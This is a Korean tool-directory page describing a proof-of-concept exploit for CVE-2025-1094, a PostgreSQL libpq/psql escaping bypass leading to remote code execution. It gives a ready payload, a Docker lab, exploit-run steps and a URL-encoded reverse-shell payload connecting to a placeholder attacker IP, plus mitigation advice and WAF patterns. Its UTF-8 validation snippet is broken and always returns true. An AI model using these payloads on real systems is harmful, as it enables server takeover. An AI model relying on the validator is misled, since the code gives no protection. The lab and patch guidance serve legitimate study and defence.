Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC-CVE-2025-1094 — CVE-2025-1094에 대한 개념 증명 익스플로잇으로, libpq 이스케이프 우회를 통한 PostgreSQL psql SQL 인젝션으로 RCE로 이어집니다. Docker 환경, 익스플로잇 스크립트 및 완화 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/trandonga3/poc-cve-2025-1094
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

CVE-2025-1094에 대한 개념 증명 익스플로잇으로, libpq 이스케이프 우회를 통한 PostgreSQL psql SQL 인젝션으로 RCE로 이어집니다. Docker 환경, 익스플로잇 스크립트 및 완화 지침을 포함합니다.

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

POC CVE-2025-1094: PostgreSQL psql SQL 인젝션

Proof of Concept — PostgreSQL 클라이언트 libpq 및 psql 도구의 심각한 SQL 인젝션 취약점

📋 목차

  1. 취약점 소개
  2. 프로젝트 디렉토리 구조
  3. 공격 Payload 분석
  4. 사용법
  5. 수정 및 예방 방법

1. 취약점 소개

개요

CVE-2025-1094는 PostgreSQL 클라이언트 라이브러리 libpq 및 명령줄 도구 psql에서 발견된 심각한 취약점입니다. 이 취약점으로 인해 공격자가 애플리케이션이 PQescapeLiteral과 같은 표준 문자열 이스케이프 함수를 사용하더라도 SQL 인젝션을 수행하고 원격 코드 실행(RCE)으로 확대할 수 있습니다.

근본 원인

오류는 이스케이프 라이브러리와 psql 파서 간의 잘못된 멀티바이트(예: UTF-8) 바이트 문자열 처리의 불일치에서 발생합니다.

두 가지 주요 공격 메커니즘:

1. 이스케이프 우회

  • PQescapeLiteral 함수가 "새로운 바이트"(예: 0xC0)에 속습니다.
  • 이 함수는 이 바이트와 뒤따르는 작은따옴표(')를 하나의 문자로 간주합니다.
  • 결과적으로 해당 작은따옴표가 이스케이프되지 않습니다.

2. 메타 명령을 통한 RCE

  • 이 결함이 있는 문자열이 psql 도구에 전달되면
  • 공격자는 SQL 문을 벗어나 psql의 시스템 명령 \!를 사용할 수 있습니다.
  • 서버에서 임의의 쉘 코드를 실행할 수 있습니다.

2. 프로젝트 디렉토리 구조

프로젝트는 libpq C 함수 호출 시 실제 환경을 시뮬레이션하도록 구성되어 있습니다:

root@kitploit:~
.
├── docker-compose.yml       # PostgreSQL + 웹 앱 시작
├── exolit.py               # 익스플로잇 스크립트 - 외부 공격
├── README.md               # 본 문서
└── app/
    ├── app.py             # Flask 웹 앱 - 사용자 입력 수신
    ├── Dockerfile         # 취약한 코드가 포함된 이미지 빌드
    └── init_db.sql        # 데이터베이스 초기화

주요 구성 요소:

  • Flask 웹 앱: /search 엔드포인트를 통해 사용자 입력을 받음
  • libpq C 함수: SQL 쿼리를 처리하지만 유효한 바이트를 확인하지 않음
  • psql 메타 명령: \!를 통해 시스템 명령 실행 허용
  • 서브프로세스 파이프: 애플리케이션이 입력 스트림을 통해 psql로 SQL 문을 전달

3. 공격 Payload 분석

샘플 Payload

root@kitploit:~
hax\xc0'; \! id; #

각 구성 요소 설명:

구성 요소값의미
데이터 입력hax일반적인 일반 데이터
새로운 바이트\xc0잘못된 UTF-8 바이트 - 이스케이프 우회
따옴표'작은따옴표 '숨김' - 필터 통과
SQL 종료;현재 SQL 문 종료
메타 명령\!psql 특수 명령 - 운영 체제 쉘로 탈출
쉘 명령id실행할 명령 (리버스 쉘로 대체 가능)
주석#SQL 주석 - 나머지 부분 무효화

실행 프로세스:

root@kitploit:~
1. 사용자 입력: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral()이 \xc0 + '를 공격으로 인식하지 못함
   ↓
3. 문자열이 psql로 전송됨: hax\xc0'; \! id; #
   ↓
4. psql 파싱: \xc0 부분이 문자열 종료로 간주됨
   ↓
5. 메타 명령 \! 활성화
   ↓
6. 쉘 명령 id가 컨테이너 권한으로 실행됨

4. 사용법

방법 1: Docker Compose 사용 (권장)

1단계: 환경 시작

root@kitploit:~
docker-compose up -d

2단계: 컨테이너 시작 대기

root@kitploit:~
docker-compose ps

PostgreSQL과 Flask 앱이 모두 실행 중인지 확인합니다.

3단계: 익스플로잇 실행

root@kitploit:~
python exolit.py

예상 결과: 서버에서 얻은 uid=0(root) 정보가 표시됩니다.

4단계: 환경 중지

root@kitploit:~
docker-compose down

방법 2: Burp Suite 사용 (수동)

HTTP 요청 보내기

다음 본문으로 /search에 POST 요청을 보냅니다:

root@kitploit:~
name=hax%c0%27;+\!+id+;+%23

URL 인코딩 참조:

  • %c0 = \xc0 (잘못된 UTF-8 바이트)
  • %27 = ' (작은따옴표)
  • %23 = # (해시 기호)
  • + = 공백

리버스 쉘 Payload:

root@kitploit:~
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23

참고: <ip-hacker> 및 <port-hacker>를 공격자 머신의 IP와 포트로 바꾸십시오.


5. 수정 및 예방 방법

A. 패치 업데이트

PostgreSQL을 패치된 버전으로 업그레이드하십시오:

Version안전한 버전
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. 인코딩 확인

처리하기 전에 입력 데이터가 유효한 UTF-8인지 항상 확인하십시오:

root@kitploit:~
def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. psql CLI 사용 제한

애플리케이션 프로그래밍에서는 공식 드라이버 라이브러리를 사용하십시오:

root@kitploit:~
# ❌ 사용 금지: subprocess + psql 사용
subprocess.run(['psql', '-c', user_input])

# ✅ 권장: psycopg2로 매개변수화된 쿼리 사용
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. 최소 권한 원칙

  • 금지: 웹 앱을 root 권한으로 실행
  • 금지: 데이터베이스를 root 권한으로 실행
  • 최소 권한을 가진 전용 사용자 사용

E. WAF/IDS 규칙

패턴 탐지 규칙 설정:

  • 요청 본문의 0xC0, 0xC1 바이트
  • 사용자 입력의 메타 명령 \!
  • ; \! 또는 ' \!와 같은 문자열

📚 참고 자료

  1. 소스 코드 파일 링크 (패치 전) 버전 17.2(취약한 버전)의 src/interfaces/libpq/fe-exec.c 파일을 볼 수 있습니다:
    • Link GitHub: PostgreSQL fe-exec.c tại tag REL_17_2 (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • 중요 함수: PQescapeStringInternal 함수(보통 3400줄 이후에 위치)를 찾으십시오. 이 함수는 PQescapeLiteral과 PQescapeString이 모두 호출하는 '핵심' 함수입니다.
  2. "패치" 보기 - 화이트박스 분석에 가장 중요 왜 오류가 발생했는지, 어떻게 수정했는지 이해하려면 커밋 Diff(취약 버전과 패치 버전 간의 변경 사항)를 보는 것이 가장 좋습니다.
    • Link Commit chính thức: Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
  3. Bài phân tích lổ hổng : https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/
도구 다운로드